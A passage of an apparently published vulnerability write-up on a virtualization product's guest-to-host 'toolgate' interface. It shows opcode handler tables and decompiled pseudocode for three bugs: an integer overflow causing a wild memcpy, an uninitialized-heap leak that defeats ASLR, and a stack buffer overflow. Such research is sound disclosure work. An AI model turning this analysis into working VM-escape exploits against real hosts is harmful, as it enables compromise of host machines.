| 0x200-0x23f              | CSFoldersTool           |
| 0x8000-0x8001            | CUTCommandsSender       |
| 0x8010-0x8012            | CPTool                  |
| 0x8020-0x8029            | CSMTool                 |
| 0x8030-0x8033            | LayoutSyncHost          |
| 0x8040-0x8044            | CSFoldersTool           |
| 0x8050-0x8050            | Tg2OtgImpl              |
| 0x8200-0x8202            | CGracefulShutdownHost   |
| 0x8210-0x8211            | CToolsCenterHost        |
| 0x8220-0x8221            | CSIAServer              |
| 0x8230-0x8231            | CCoherenceToolServer    |
| 0x8301-0x8301            | CWinMicroApp            |
| 0x8302-0x8302            | CFavRunAppsHost         |
| 0x8304-0x8304            | CDragAndDropBase        |
| 0x8320-0x8328            | CSHAShellExt            |
| 0x8340-0x8347            | CUIEmuHost              |
| 0x8410-0x8411            | CSharedProfileTool      |
| 0x8420-0x8440            | CInvSharing             |
| 0x8500-0x8503            | CDesktopUtilitiesHost   |
| 0x8700-0x8702            | CSFilterTgHandler       |
| 0x8800-0x8801            | CHostCEP                |
| 0x8900-0x8900            | CPrintingTool           |
| 0x9020-0x9021            | CLocationTool           |
| 0x9030-0x9030            | CEnergySavingTool       |
| 0x9040-0x9043            | CVSDebug                |
| 0x9050-0x9050            | AutoPauseHost           |
| 0x9060-0x9060            | VmHostname              |
| 0x9070-0x9070            | UniversalChannelHost    |
| 0x9080-0x9080            | CDynResHost             |
| 0x9100-0x9101            | CWinMicroApp            |
| 0x9110-0x9111            | VolumeControllerHost    |
| 0x9120-0x9124            | TimeSynchronizationHost |
| 0x9200-0x9200            | CToolbox                |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There seemed to also be a video toolgate completely separate from the standard toolgate (i.e. different virtual device, different I/O base port). This component wasn’t investigated much, but contained the following opcode ranges dumped dynamically as before:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| Opcode range (inclusive) | Handler C++ class name |
| ------------------------ | ---------------------- |
| 0x100-0x11f              | VideoTgHandler         |
| 0x400-0x41f              | DirectXHandler         |
| 0x8100-0x811f            | VideoTgHandler         |
| 0x8130-0x813f            | OpenGLHandler          |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now focus our reversing efforts on the handlers’ virtual methods for handling toolgate requests, code we know is reachable with arbitrary input. Based on the handler class names, these requests should do “interesting” things. The workflow for this is to pick a handler class, find its &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_method_table&quot;&gt;vtable&lt;/a&gt; (which will have a symbol name like &lt;code class=&quot;highlighter-rouge&quot;&gt;`vtable for'CDragAndDropBase&lt;/code&gt;), then reverse the virtual handler function (for example, the function at offset 16 in the vtable).&lt;/p&gt;

&lt;p&gt;The path forward from here to vulnerability discovery is mostly the standard reversing grind. Let’s move on to the bugs found in some of these opcode handlers.&lt;/p&gt;

&lt;h2 id=&quot;bug-1-megasmash-an-unbounded-memcpy&quot;&gt;Bug 1: Megasmash (an unbounded &lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy(...)&lt;/code&gt;)&lt;/h2&gt;

&lt;p&gt;Opcode &lt;code class=&quot;highlighter-rouge&quot;&gt;0x8050&lt;/code&gt; is handled by &lt;code class=&quot;highlighter-rouge&quot;&gt;Tg2OtgImpl&lt;/code&gt;, seemingly a proxy between the toolgate and “OTG” (possibly Open Tools Gate). The proxy works something like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Buffers[0]&lt;/code&gt; contains a header of sorts. This includes the size of the OTG input request, and will contain the output return value and response size once handled&lt;/li&gt;
  &lt;li&gt;According to the input size from the header, the remaining buffers (starting at &lt;code class=&quot;highlighter-rouge&quot;&gt;Buffers[1]&lt;/code&gt;) are “flattened” into a single byte array. This flattened array is treated as the OTG request to pass through.&lt;/li&gt;
  &lt;li&gt;An OTG opcode is fetched from offset 0 in the flattened blob, and the request is dispatched to the appropriate OTG handler for that opcode&lt;/li&gt;
  &lt;li&gt;The return value and response size are set in the header, and the response blob is “unflattened” into &lt;code class=&quot;highlighter-rouge&quot;&gt;Buffers[1]&lt;/code&gt; onwards&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The flattened request is represented by a &lt;code class=&quot;highlighter-rouge&quot;&gt;QByteArray&lt;/code&gt;, a class supplied by the 3rd-party QtCore library, part of the &lt;a href=&quot;https://www.qt.io/&quot;&gt;Qt&lt;/a&gt; family. It is instantiated in the following way, using size from the input header:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QByteArray&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;QByteArray&lt;/span&gt;(&amp;amp;arr, &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;hdr&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;2&lt;/span&gt;], &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0LL&lt;/span&gt;);&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
And the respective QtCore &lt;a href=&quot;https://github.com/qt/qtbase/blob/5.12.7/src/corelib/tools/qbytearray.cpp#L1822&quot;&gt;implementation&lt;/a&gt;:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QByteArray&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;QByteArray&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; size, &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Qt&lt;/span&gt;::Initialization)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; d = &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Data&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;allocate&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint&lt;/span&gt;(size) + &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1u&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;Q_CHECK_PTR&lt;/span&gt;(d);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;d&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;size&lt;/span&gt; = size;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;d&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;data&lt;/span&gt;()[size] = &lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: rgb(215, 186, 125);&quot;&gt;\0&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;'&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
There is a pretty standard integer overflow here. If the provided &lt;code class=&quot;highlighter-rouge&quot;&gt;size&lt;/code&gt; is -1 (&lt;code class=&quot;highlighter-rouge&quot;&gt;0xffffffff&lt;/code&gt;), the size passed to &lt;code class=&quot;highlighter-rouge&quot;&gt;Data::allocate&lt;/code&gt; will be 0.&lt;/p&gt;

&lt;p&gt;Looking at the &lt;code class=&quot;highlighter-rouge&quot;&gt;allocate&lt;/code&gt; &lt;a href=&quot;https://github.com/qt/qtbase/blob/5.12.7/src/corelib/tools/qarraydata.cpp#L89&quot;&gt;implementation&lt;/a&gt; we can see that the following code will return a special empty singleton in QtCore’s data section, &lt;code class=&quot;highlighter-rouge&quot;&gt;qt_array_empty&lt;/code&gt;:&lt;/p&gt;
&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QArrayData&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QArrayData&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;allocate&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;size_t&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;objectSize&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;size_t&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;alignment&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;size_t&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;capacity&lt;/span&gt;, &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;AllocationOptions&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;options&lt;/span&gt;) Q_DECL_NOTHROW&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // Don't allocate empty headers&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (!(options &amp;amp; RawData) &amp;amp;&amp;amp; !capacity) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;const_cast&lt;/span&gt;&amp;lt;QArrayData *&amp;gt;(&amp;amp;qt_array_empty);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
A &lt;code class=&quot;highlighter-rouge&quot;&gt;QByteArray&lt;/code&gt; typically stores its data inline; or in other words, &lt;code class=&quot;highlighter-rouge&quot;&gt;d-&amp;gt;data()&lt;/code&gt; in the snippet above is effectively &lt;code class=&quot;highlighter-rouge&quot;&gt;(void*)d + sizeof(*d)&lt;/code&gt; (a pointer to the address immediately following the declared structure fields). In the case of the singleton, the inline data would also be in the data section (although it has size zero).&lt;/p&gt;

&lt;p&gt;Back in the OTG proxy, the provided buffers will be flattened by a loop, which copies one buffer at a time into increasing offsets of the newly constructed &lt;code class=&quot;highlighter-rouge&quot;&gt;QByteArray&lt;/code&gt; (which is expected to have size &lt;code class=&quot;highlighter-rouge&quot;&gt;0xffffffff&lt;/code&gt;, but is actually empty).&lt;/p&gt;

&lt;p&gt;The overall effect of this loop can be summed up as:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;memcpy&lt;/span&gt;(QtCore_data_section, controlled_data, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0xffffffff&lt;/span&gt;);&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
In theory, this lets us corrupt a significant portion of QtCore’s data section. There is, however, the small problem of the excessively large copy being guaranteed to cause a fault (there will be a read-only mapping at some point after the writable data section).&lt;/p&gt;

&lt;p&gt;These kinds of “wild copy” bugs are less than ideal but have been proven exploitable by researchers several times in the past [&lt;a href=&quot;https://saaramar.github.io/IOMFB_integer_overflow_poc/#wildcopy-exploitation&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://googleprojectzero.blogspot.com/2015/03/taming-wild-copy-parallel-thread.html&quot;&gt;2&lt;/a&gt;]. Sometimes it is possible to modify memory or program state during the copy loop to cut it short, which wasn’t viable in this case. Another method is to race another thread using the corrupted data before the copying thread crashes, which I could not find a reliable method of doing.&lt;/p&gt;

&lt;p&gt;We’ll just keep this bug in our back pocket for now…&lt;/p&gt;

&lt;h2 id=&quot;bug-2-an-information-leak&quot;&gt;Bug 2: An Information Leak&lt;/h2&gt;

&lt;p&gt;This bug is less exciting, but provides a useful information leak to bypass &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot;&gt;ASLR&lt;/a&gt; in the host process.&lt;/p&gt;

&lt;p&gt;The OTG handler for OTG opcode 10 appears to fetch various configuration settings for the guest. Different types of settings can be requested, the vulnerable type is 2. Here is a rough pseudocode interpretation for this type of request:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;otg_getdisablewin7logo&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QByteArray&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;req&lt;/span&gt;, &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QByteArray&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;out&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QByteArray&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;resize&lt;/span&gt;(out, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x90&lt;/span&gt;);&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // new bytes left uninitialized (&lt;a href=&quot;https://doc.qt.io/qt-5/qbytearray.html#resize&quot;&gt;docs&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // write the first 0x20 bytes of out-&amp;gt;data()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;memcpy&lt;/span&gt;(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;out&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;data&lt;/span&gt;(), &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;req&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;data&lt;/span&gt;(), &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x10&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;CVmRunTimeOptions&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;isDisableWin7Logo&lt;/span&gt;(...))&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt;*)(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;out&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;data&lt;/span&gt;() + &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x10&lt;/span&gt;) = &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x600000001&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;else&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt;*)(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;out&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;data&lt;/span&gt;() + &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x10&lt;/span&gt;) = &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x1f00000000&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; *(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt;*)(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;out&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;data&lt;/span&gt;() + &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x18&lt;/span&gt;) = ...;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; *(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt;*)(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;out&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;data&lt;/span&gt;() + &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x1c&lt;/span&gt;) = &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
This handler resizes the output &lt;code class=&quot;highlighter-rouge&quot;&gt;QByteArray&lt;/code&gt; to size &lt;code class=&quot;highlighter-rouge&quot;&gt;0x90&lt;/code&gt;, then proceeds to populate the first &lt;code class=&quot;highlighter-rouge&quot;&gt;0x20&lt;/code&gt; bytes. The remaining &lt;code class=&quot;highlighter-rouge&quot;&gt;0x70&lt;/code&gt; bytes are left uninitialized, and will be copied out to the guest by the OTG proxy.&lt;/p&gt;

&lt;p&gt;This allows us to leak &lt;code class=&quot;highlighter-rouge&quot;&gt;0x70&lt;/code&gt; bytes of uninitialized heap memory from the &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; host process, which can be repeated as necessary to obtain any leaks (heap or .text) we need.&lt;/p&gt;

&lt;h2 id=&quot;bug-3-limited-stack-buffer-overflow&quot;&gt;Bug 3: Limited Stack Buffer Overflow&lt;/h2&gt;

&lt;p&gt;Opcode &lt;code class=&quot;highlighter-rouge&quot;&gt;0x8304&lt;/code&gt; is handled by &lt;code class=&quot;highlighter-rouge&quot;&gt;CDragAndDropBase&lt;/code&gt;, presumably to implement drag and drop behavior.&lt;/p&gt;

&lt;p&gt;This handler uses “worker” objects, represented by &lt;code class=&quot;highlighter-rouge&quot;&gt;CDragDropWorkerBase&lt;/code&gt;. An initial request must be made to create a new worker, and a handle to this worker is passed back to the guest for use in subsequent requests. As a side note, the handle was simply the heap address of the worker object, so was a limited information leak by itself.&lt;/p&gt;

&lt;p&gt;Drag-and-drop requests have their own structure expected by the host, including a type field specifying what drag-and-drop operation to perform. A pseudocode snippet of the vulnerable code is reproduced below, preceded by some relevant structure definitions (struct interpretations are my own):&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// input request from guest, completely controlled&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;dnd_blob&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; type;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; QChar &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;qstr&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1024&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // 0x74 additional bytes&lt;/span&gt;&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// internal message passed off to further layers&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;msg&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; QChar &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;qstr&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1024&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // 0x68 byte gap&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; CDragDropWorkerBase* worker;&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;CDragAndDrop_process_blob&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;CDragDropWorkerBase&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;worker&lt;/span&gt;, &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;tg_req&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;req&lt;/span&gt;, &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;dnd_blob&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;blob&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;switch&lt;/span&gt; (&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;blob&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;type&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x107&lt;/span&gt;:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; QString qstr = &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;QString&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;fromUtf16&lt;/span&gt;(&amp;amp;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;blob&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;qstr&lt;/span&gt;, -&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;).&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;normalized&lt;/span&gt;();&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // [1]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;msg&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;msg&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;msg&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;worker&lt;/span&gt; = worker;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;memcpy&lt;/span&gt;(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;msg&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;qstr&lt;/span&gt;, &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;qstr&lt;/span&gt;.&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;utf16&lt;/span&gt;(), &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;2&lt;/span&gt;*&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;qstr&lt;/span&gt;.&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;size&lt;/span&gt;() + &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;2&lt;/span&gt;);&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // [2]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;msg&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;worker&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;queued_req&lt;/span&gt; = req;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // [3]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The guest-supplied string is supposed to contain a maximum of 1024 UTF-16 characters. At the first annotation &lt;code class=&quot;highlighter-rouge&quot;&gt;[1]&lt;/code&gt; the length passed to &lt;code class=&quot;highlighter-rouge&quot;&gt;QString::fromUtf16(...)&lt;/code&gt; is -1, indicating that the input should be treated as null-terminated to determine the actual length.&lt;/p&gt;

